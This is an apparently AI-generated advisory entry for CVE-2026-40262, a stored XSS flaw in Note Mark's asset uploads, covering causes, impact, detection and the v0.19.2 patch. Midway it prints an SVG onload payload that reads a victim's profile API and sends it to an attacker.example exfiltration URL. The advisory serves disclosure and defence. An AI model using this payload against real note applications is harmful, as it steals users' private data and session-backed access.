
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-40262 is a stored same-origin cross-site scripting (XSS) vulnerability in Note Mark, an open-source note-taking application, caused by unrestricted upload of active content files (HTML, SVG, XHTML) as note assets. It affects Note Mark versions 0.19.1 and prior, and was disclosed by the project maintainer on April 11, 2026, with the GitHub Advisory Database entry published April 13, 2026. The vulnerability carries a CVSS v3.1 base score of 8.7 (High) (GitHub Advisory, Note Mark Advisory).
The vulnerability arises from three compounding flaws in the asset delivery path (CWE-79, CWE-434). First, the asset handler at /api/notes/{noteID}/assets/{assetID} uses the h2non/filetype library for MIME type detection, which relies on magic-byte matching and cannot identify text-based formats like HTML, SVG, or XHTML — leaving Content-Type empty for these files. Second, the response sets Content-Disposition: inline, instructing browsers to render the file directly. Third, the response omits the X-Content-Type-Options: nosniff header, allowing browsers to sniff the content and execute embedded JavaScript. Because assets are served from the application's own origin, any script in the uploaded file runs with full same-origin access to the victim's authenticated session and Note Mark API (GitHub Advisory, Note Mark Advisory).
Successful exploitation allows an attacker to execute arbitrary JavaScript in the victim's browser under the Note Mark application's origin, granting access to the victim's private notes, books, profile data, and all authenticated API actions. Both confidentiality and integrity are highly impacted — an attacker can read sensitive note content and perform unauthorized modifications on behalf of the victim. Availability is not directly affected. The scope is changed, as the attacker's payload impacts other users beyond the attacker's own account (GitHub Advisory, Note Mark Advisory).
No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the time of disclosure (Feedly). The EPSS score is approximately 0.031% (2nd percentile), indicating a low near-term probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires a valid low-privilege authenticated account and victim interaction (navigating to the malicious asset URL), which somewhat limits opportunistic exploitation (GitHub Advisory).
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('/api/user/profile').then(r=>r.json()).then(d=>fetch('https://attacker.example/exfil?data='+btoa(JSON.stringify(d))))"/>POST /api/notes/{noteID}/assets.https://notemmark.example.com/api/notes/{noteID}/assets/{assetID}./api/user/profile, /api/books, /api/notes) originating from a victim's session that do not match normal usage patterns./api/notes/{noteID}/assets/{assetID} for assets with .html, .svg, or .xhtml extensions, especially from multiple different user accounts; repeated access to the same asset URL by different users..html, .svg, or .xhtml extensions in the Note Mark asset storage directory that contain <script> tags or JavaScript event handlers (e.g., onload, onerror).The maintainer released Note Mark v0.19.2 on April 11, 2026, which fixes this vulnerability by adding X-Content-Type-Options: nosniff to all asset responses, serving HTML and SVG files as application/octet-stream with Content-Disposition: attachment (forcing download rather than inline rendering) (Note Mark v0.19.2, Patch Commit). All users should upgrade to v0.19.2 immediately. As a temporary workaround prior to patching, administrators can restrict asset upload permissions to trusted users only, or configure a reverse proxy to add X-Content-Type-Options: nosniff and force Content-Disposition: attachment for asset endpoints. Implementing a Content Security Policy (CSP) on the application origin can also reduce the impact of any successful XSS.
The vulnerability was reported by security researchers QiaoNPC and Across-Verticals-Malaysia, and the maintainer (enchant97) promptly released a patch on the same day as disclosure (Note Mark Advisory). The fix was discussed briefly on Reddit's r/selfhosted community (Reddit) and received minor coverage from security news outlets including The Hacker Wire (The Hacker Wire) and Infinit Security (Infinit Security). Social media activity was limited, with brief mentions on Mastodon and Bluesky.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."